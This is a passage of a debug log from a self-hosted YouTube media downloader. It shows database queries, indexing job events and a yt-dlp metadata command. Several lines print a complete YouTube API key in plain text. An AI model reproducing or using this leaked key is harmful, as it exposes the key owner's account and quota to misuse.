16:56:30.891 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:31.070 [debug] QUERY OK source="media_items" db=0.4ms idle=180.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:56:31.070 [debug] QUERY OK source="media_items" db=0.2ms idle=180.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:56:31.071 [debug] QUERY OK source="tasks" db=0.1ms idle=179.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800077, 30, ~U[2026-02-10 22:56:31Z], ~U[2026-02-10 22:56:31Z]] 16:56:31.071 [info] {"args":{"id":30},"id":3800037,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":183287,"event":"job:stop","queue_time":537362,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:31.888 [info] {"args":{"id":17},"id":3800038,"meta":{},"system_time":1770764191888897180,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:31.889 [debug] QUERY OK source="sources" db=0.1ms idle=817.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:56:31.889 [debug] QUERY OK source="settings" db=0.0ms idle=817.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:31.889 [debug] QUERY OK source="media_profiles" db=0.0ms idle=811.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:31.889 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:31.889 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:56:31.889 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:31.889 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:32.023 [debug] QUERY OK source="media_items" db=0.4ms idle=133.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:56:32.024 [debug] QUERY OK source="media_items" db=0.2ms idle=134.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:56:32.024 [debug] QUERY OK source="tasks" db=0.1ms idle=134.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800078, 17, ~U[2026-02-10 22:56:32Z], ~U[2026-02-10 22:56:32Z]] 16:56:32.025 [info] {"args":{"id":17},"id":3800038,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":136035,"event":"job:stop","queue_time":578369,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:33.890 [info] {"args":{"id":19},"id":3800039,"meta":{},"system_time":1770764193890684001,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:33.890 [info] {"args":{"id":33},"id":3800040,"meta":{},"system_time":1770764193890723123,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:33.891 [debug] QUERY OK source="sources" db=0.2ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:56:33.891 [debug] QUERY OK source="sources" db=0.1ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:56:33.891 [debug] QUERY OK source="settings" db=0.1ms idle=12.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.891 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.891 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:33.891 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:33.891 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.891 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:56:33.892 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.892 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.892 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:56:33.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:33.892 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:33.993 [debug] QUERY OK source="media_items" db=0.7ms idle=100.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 16:56:33.994 [debug] QUERY OK source="settings" db=0.1ms idle=102.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.994 [debug] QUERY OK source="settings" db=0.0ms idle=102.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.994 [debug] Running yt-dlp command for action: get_media_attributes 16:56:33.995 [debug] QUERY OK source="settings" db=0.0ms idle=103.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.995 [debug] QUERY OK source="settings" db=0.0ms idle=103.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.995 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:33.995 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8b/ea/8bea253fe006a703c47f4bf188d741161aad09dd1cd73bc85c56cbc5dde4465c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:56:34.082 [debug] QUERY OK source="media_items" db=0.8ms idle=87.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:56:34.083 [debug] QUERY OK source="media_items" db=0.4ms idle=88.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:56:34.084 [debug] QUERY OK source="tasks" db=0.2ms idle=88.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800079, 33, ~U[2026-02-10 22:56:34Z], ~U[2026-02-10 22:56:34Z]] 16:56:34.085 [info] {"args":{"id":33},"id":3800040,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194190,"event":"job:stop","queue_time":586459,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:34.892 [info] {"args":{"id":11},"id":3800041,"meta":{},"system_time":1770764194892744141,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:34.893 [debug] QUERY OK source="sources" db=0.2ms idle=808.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:56:34.893 [debug] QUERY OK source="settings" db=0.0ms idle=808.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.893 [debug] QUERY OK source="media_profiles" db=0.0ms idle=801.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:34.893 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.893 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:56:34.893 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.894 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:34.983 [debug] QUERY OK source="media_items" db=0.7ms idle=89.6ms SELECT m0."id", m0."uuid", m0."title", 